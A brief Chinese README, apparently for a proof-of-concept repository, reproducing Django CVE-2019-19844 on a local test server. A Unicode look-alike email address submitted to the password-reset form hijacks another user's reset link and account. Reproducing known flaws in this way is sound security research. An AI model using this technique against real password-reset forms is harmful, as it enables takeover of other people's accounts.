django_cve_2019_19844_poc

CVE-2019-19844 的 PoC

要求

• Python 3.7.x
• PostgreSQL 9.5 或更高版本

设置

1. 创建数据库（例如 django_cve_2019_19844_poc）
2. 将数据库名称设置为环境变量 DJANGO_DATABASE_NAME（例如 export DJANGO_DATABASE_NAME=django_cve_2019_19844_poc）
3. 运行 pip install -r requirements.txt && ./manage.py migrate --noinput
4. 使用 shell 命令创建以下用户：

>>> from django.contrib.auth import get_user_model
>>> User = get_user_model()
>>> User.objects.create_user('mike123', '[email protected]', 'test123')

复现步骤

1. 运行 ./manage.py runserver
2. 打开 http://127.0.0.1:8000/accounts/password-reset/
3. 输入 mı[email protected]（攻击者的邮箱），然后点击发送按钮
4. 接收邮件（检查控制台），并重置密码
5. 以 mike123 用户身份登录